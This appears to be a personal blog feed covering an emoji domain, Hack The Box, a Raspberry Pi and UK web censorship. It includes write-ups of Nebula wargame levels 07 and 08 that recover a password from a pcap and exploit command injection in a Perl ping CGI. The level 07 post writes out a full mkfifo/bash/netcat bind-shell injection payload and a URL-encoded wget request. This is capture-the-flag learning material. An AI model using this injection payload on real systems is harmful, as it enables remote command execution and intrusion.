New alternate emoji domain

This is not really security related, but it’s a bit of fun so I wrote a quick post.

I had heard that emoji domains are available from select TLDs, so I decided to buy one! I am now the proud owner of 💻☠.ws, which mirrors this site.

Now, if you go to and your browser supports emoji domains without displaying the punycode translation ( in the address bar, you will be redirected to the same page on 💻☠.ws thanks to this little piece of javascript.

Check your address bar now. You may already using the emoji domain without even knowing.

Hack the Box

I recently came across Hack The Box and have been having fun pwning some of those machines using the techniques that I have learned in the free Metasploit Unleashed course. Metasploit really is a great tool, and even though I could have got some “user owns” without it, I found that once I had learned how to use things like msfvenom, it saved me having to write some of my own trivial scripts, which saved me time.

I’ve currently got 3 “System Owns” and 4 “User Owns”, which puts me on “Script Kiddie” status. I’m hoping to get a few more and move to a better status fairly quickly, if I can find the time to play around some more.

I especially like the way you have to hack the invite before you can gain access to any machines. It was probably the easiest part of any of the challenges I have attempted, but that might be because I’m pretty familiar with web technologies.

If you haven’t tried it out, I would encourage you to do so. The website is very polished, and there are quite a lot of machines to attack 🙂

I have a Raspberry PI on the way

I ordered a Raspberry PI yesterday.

I used to have a server running at home which served files, recorded tv, provided VPN, but I moved into a small flat, and there’s not much room for a server, not that my fiancée would be happy with anyway!

The PI will give me a little server back again for the duration that I’m in this flat. I’m also looking at playing with xbmc and perhaps some pvr capabilities on it. Should be fun!

Exploit Exercises – Nebula – Level 08

I must admit I needed a bit of help with his one, I had most of it but not quite all. It started with the following information:

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
To do this level, log in as the level08 account with the password level08 . Files for this level can be found in /home/flag08.

So in ~flag08 there is one file of interest; capture.pcap. This is some captured network traffic. I copied this file onto my Macbook and opened it up in wireshark and spent some time looking through it. I found some interesting information like frame 43 contained a password prompt (the text “Password:”) from the server, followed by an ack from the client, then all subsequent packet exchanges contained 1 byte of TCP payload data from the client followed by an empty TCP ack packet from the server. Going through the packets, I could see that the user had sent: “backdoor…00Rm8.ate.” and then the server had replied “Login incorrect”. If we right click on a packet in the stream and select Follow TCP stream, we can see this a bit clearer.

But “backdoor…00Rm8.ate.” is not the password for flag08’s account, we need more investigation. While in the Follow TCP stream view, I selected hex dump view, and I can see that all the dots are not the same byte. Presumably they are all ascii, so I checked the ascii codes; 7f=backspace, 0d=Carriage-return.

So the password was “backd00Rmate”, this just so happens to be the password for flag08’s account.

Exploit Exercises – Nebula – Level 07

This one starts with the following information:

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

and Source code:

use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
    $host = $_[0];
    print("<html><head><title>Ping results</title></head><body><pre>");
    @output = `ping -c 3 $host 2>&1`;
    foreach $line (@output) { print "$line"; } 
# check if Host set. if not, display normal page, etc

We can see that the flag07 user has an thttpd.conf file in his directory, indicating that he has a http daemon or (web server) running. This is further compounded by the fact that he has a perl script (index.cgi) in his home directory.

In the thttpd.conf file it tells us that the web server is running on port 7007. I didn’t want to exit the VM, which meant that I didn’t have a web browser, but I do have wget which allows me to make http requests from the command line so I ran:

wget -O- http://localhost:7007/index.cgi

and got some output telling me how to use ping (because it hadn’t been given sufficient arguments. From the perl code, I could see that it wants a variable submitted as “Host”. It looks like it will use this as the machine name to ping. This time I tried:

wget -O- http://localhost:7007/index.cgi?Host=localhost

and got back ping results, but I need to get this script to do something other than ping… I can see that the ping command is just a string with the submitted host name “injected” into it. There is no input sanitisation going on, so it is ripe for some code injection.

I could get the script to copy my elevated-shell-launcher program and thenset the setuid bit like I did in level 03, but this challenge reminded me of something I learned while playing with DVWA (using netcat to send shell over the network) so I tried that method instead. The url I need to load would submit the following as the Host variable:

;mkfifo /tmp/pipe;cat /tmp/pipe|bash|nc -l 4444 2&gt;&amp;1&gt;/tmp/pipe;rm /tmp/fifo;

When injected to the command that is run in the perl script, to actual command that is executed will be:

ping -c 3 ;mkfifo /tmp/pipe;cat /tmp/pipe|bash|nc -l 4444 2&gt;&amp;1&gt;/tmp/pipe;rm /tmp/fifo; 2&gt;&amp;1

This is quite a command, so I’ll break it down:

  • ping -c 3 ; – This command will fail because there is no host given, but we don’t care about that
  • mkfifo /tmp/pipe; – Make a special “pipe” file in /tmp/pipe, I’ll explain why later…
  • cat /tmp/pipe|bash|nc -l 4444 2>&1>/tmp/pipe; – this reads data from the /tmp/pipe and sends it to /bin/bash, which sends it’s output to nc, which is listening on port 4444, which then sends it’s output (stdout and stderr) back to /tmp/pipe.
  • rm /tmp/fifo; – clear up the pipe file after nc has closed.
  • 2>&1 – Redirects stderr to stdout. This is just left over from the perl script’s command, we don’t care about it really.

This should set up a netcat process listening on TCP port 4444 that will accept data (in our case this will be bash commands) from the network and send it to /tmp/pipe. cat will read data from /tmp/pipe and send it to bash, which will send it’s output to netcat, which will in turn send that back over the network. A kind of remote shell. Passing input/output of netcat and bash in this circular fashion is only possible by way of a fifo pipe and the cat command.

Obviously I’ll have to URL encode my host variable, so my whole command becomes:

wget -O- http://localhost:7007/index.cgi?Host=%3Bmkfifo%20%2Ftmp%2Fpipe%3Bcat%20%2Ftmp%2Fpipe%7Cbash%7Cnc%20-l%204444%202%3E%261%3E%2Ftmp%2Fpipe%3Brm%20%2Ftmp%2Ffifo%3B

Now I just connect from another tty session or another machine on the network (though you’ll have to edit the command if you do that) using:

nc localhost 4444

Now I can run any command including whoami and getflag

Internet censorship

My Finacee and I used to live on a farm just north of Bristol where the broadband options were pretty slim. While my friend in a town closer to London was getting 70Mb/s downstream, we were only offered 0.5Mb/s. I ended up getting a 3G dongle with a wireless 3G router and using HSPA+ on the network and we regularly managed speeds of around 7Mb/s (around 14x faster than we would have got if we used the phone line).

We moved, this weekend, to a town closer to London, and I have left the dongle with the new tennants at the farm. I am currently researching what ISP I should go with. While looking at an ISP that I had been recommended (because of their technical expertise and support) I noticed a link to an article about the web censorship we are currently facing in the UK, and the reason that they do not censor on their network.

It was not news to me, but I found it an interesting read anyway.

The article can be found here.